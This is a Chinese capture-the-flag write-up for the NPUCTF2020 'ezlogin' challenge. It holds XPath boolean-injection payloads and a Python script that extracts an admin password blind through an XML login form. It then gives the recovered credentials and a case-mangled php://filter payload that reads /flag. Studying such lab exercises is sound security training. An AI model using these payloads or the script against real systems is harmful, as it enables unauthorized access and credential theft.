[NPUCTF2020]ezlogin xPATH注入
根据题目意思应该是获取到密码即可,账号肯定是admin或者adm1n等常用管理员账号了
会发现有时间限制,过一小会儿就必须要刷新一下,于是抓包看一下
可以看到是xml的格式,有token验证,一开始我就以为是携带token的xml注入了,结果发现并不是,这里考的是xPath注入
服务端用户名和密码通过xml文件存储,通过将提交的用户名和密码拼接到xPATH中进行查询
后台语法:
//root/accounts/user[username/text()=$username and password/text()=$password]
根据大佬的资料以及wp学习,xPATH注入的过程需要先获取根下节点个数,然后获取跟下面的节点个数,然后获取根下节点名
这样构造的原因是:
//root/accounts/user[username/text()=$username and password/text()=$password]
$username肯定是一个字符串格式,因此是""
我们要自己可以控制的话,先"闭合前面那个双引号
然后中间利用or语句进行盲判断 or ……
因为后面还有一个双引号 再加一个or ""="来进行空字符串判断为真,因此我们中间控制的语句决定着返回1还是0
'or count(/*)=1 or ''=' #非法操作
'or count(/*)=2 or ''=' #用户名或密码错误
通过count(/)获取根下节点个数,可以知道是有一个节点
# 获取节点名长度
'or string-length(name(/*[1]))=4 or ''='
# bool注入获取节点
'or substring(name(/*[1]), 1, 1)='a' or ''='
知道怎么判断后就利用大佬的脚本
import requests
import string
import time
import re
session = requests.session()
base_url = 'http://932f9bbf-355d-423a-ada1-fab454456dca.node4.buuoj.cn:81/'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"#注入模板chars = string.ascii_letters+string.digits#所有数字字符def get_csrf():res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text#返回请求的文本return re.findall('<input.*value="(.*?)"./>', res)[0]#利用正则获取到token的值target = 'string(/*[1]/*[1]/*[2]/*[3])'#遍历出叶子节点
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>{username}</username><password>1</password><token>{token}</token>'#伪造格式result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Content-Type': 'application/xml','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}#伪造请求头
for i in range(20, 35):#这里因为脚本已经给出了前19位,所以从20位开始,如果没有前面的result,我们应该是range(1,35),后面任取,大一点好for j in chars:#每一位进行破解time.sleep(0.2)#防止429temp_payload = payload.format(target=target, index=str(i), char=j)#注入模板字符串格式化token = get_csrf()#token值temp_data = data.format(username=temp_payload, token=token)#数据已经准备就绪username以及token,不用password是因为后面有一个or,有一个为真即可res = session.post(url=base_url+'login.php',data=temp_data, headers=headers)#请求头 请求数据 请求地址# print(temp_data)# print(res.text)# print(len(res.text))if len(res.text) == 5:#因为成功的时候返回非法操作! 五个字符,因此利用判断,其实也可以用字符串包含result += jbreakprint(result)
中间token是在html属性里面,利用查找标签属性过滤即可
代码审查已经注释了,最后获得账号密码:
adm1n
cf7414b5bdb2e65ee43083f4ddbc4d9f
账号自己改一下节点名称也就获得了,基本上就那几个
一开始我直接用这个密码去登陆了,发现不对
xml文件存储的密码一般都是md5加密的,因此我们还需要解密
gtfly123
进去后f12可以发现
明显base64
观察参数有一个file,应该是利用伪协议读取
php://filter/read=convert.base64-encode/resource=/flag 发现返回nonono被过滤了
因此将常用的一些字符进行大写化
?file=Php://filter/rEad=convert.basE64-encode/resource=/flag
f12发现又是一个base64加密
[NPUCTF2020]ezlogin xPATH注入相关推荐
- XML相关的安全漏洞-XXE,XPATH小结(XXE注入、XPATH注入)
0x00前言: 本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用 xml是可扩展标记语言,它被设计出来是为了存储传输数据的. 它的结构是树形结构,并且标签要成对出现比如下面 ...
- XPath注入漏洞学习
0x00 什么是XPath XPath是W3C的一个标准.它最主要的目的是为了在XML1.0或XML1.1文档节点树中定位节点所设计. 目前有XPath1.0和XPath2.0两个版本. XPath1 ...
- mysql xpath注入工具_WEB安全第四篇--与数据库的亲密接触:SQL注入攻击
零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...
- php xpath注入工具,科普:XPATH注入
用这个网站做示例 Default http://91ri.org/ newsdetail.php?id=51 1 http://91ri.org/ newsdetail.php?id=51 1.查看数 ...
- XML注入介绍--XXE,XEE,xpath等
XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...
- [NOTE] XPath及其注入
[NOTE] XPath及其注入 XPath XPath是一门在XML文档中查找信息的语言 这里学习基本知识及相关语法 一个加载XML文件,并使用XPath解析和查找元素的例子: <!DOCTY ...
- windows文件读取 xxe_XML注入介绍--XXE,XEE,xpath等
网络安全 XML注入介绍--XXE,XEE,xpath等 XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpan ...
- WEB安全,SQL注入漏洞的加固代码汇总
该修复任务专用于处理以下安全性问题: [1] SQL 盲注 [2] SQL 注入 [3] XPath 注入 [4] 发现数据库错误模式 [5] 跨站点脚本编制 [6] 使用 SQL 注入的认证旁路 [ ...
- decimal转为string sql_SQL注入详解|OWASP Top 10安全风险实践(二)
本文为一些列连载文章之一,不定期更新,计划目录如下: OWASP介绍 SQL注入 命令注入 XML外部实体注入 XPATH注入 反射式.DOM及存储XSS 失效的身份认证和会话管理 不安全的直接对象引 ...
最新文章
- Qt中文手册 之 QTableWidgetItem
- 基于GPU加速全局紧耦合的激光-IMU融合SLAM算法(ICRA2022)
- Github无法加载或不显示图片问题
- 使用NFS启动Tiny4412开发板根文件系统
- 搜索旋转排序数组—leetcode31
- python3-pandas 数据结构 Series、DataFrame 基础
- Windows 7 仅是Windows Vista SP2?
- 【Qt-Camera】大华相机显示线程
- 题15 Oracle临时表有几种?临时表和普通表主要区别是什么?
- Gtk-Message: 14:47:21.541: Failed to load module “canberra-gtk-module“ 的处理方法
- HWADDR配置错误导致network重启失败处理
- jsch jar包连接不上ssh报Algorithm negotiation fail 错误
- Vue项目实战引入百度地图(一)
- 央视最美记者王冰冰火爆B站,单个视频1800万播放,都说了啥?
- linux安装mysql8.11_Ubuntu安装MySQL任意版本(18.04亲测)
- [附源码]计算机毕业设计JAVAjsp宠物店管理系统
- 数学专业英语词汇英汉对照
- gedit编辑器设置代码高亮
- 第九章 射频放大器
- 轻松将CAD文件转为加密的PDF文件
热门文章
- 1407C. Chocolate Bunny(交互,推导)
- 远程桌面看不到任务栏怎么办?
- Python基础-编码
- BI Publisher rtf模板页眉页脚
- 怎样理解大数据概念?大数据有什么用处?
- python元组(戴了紧箍咒的列表)
- 一般能ping通自己的IP ,但是ping 不通网关,也ping不通别的主机IP
- 艾永亮:打造超级产品做到这五点,有效提高用户对企业的印象
- php 图片上加文字,php使用GD库实现图片上添加文字的方法(代码)
- windows重建linux引导,Linux引导修复 利用Linux重建Windows引导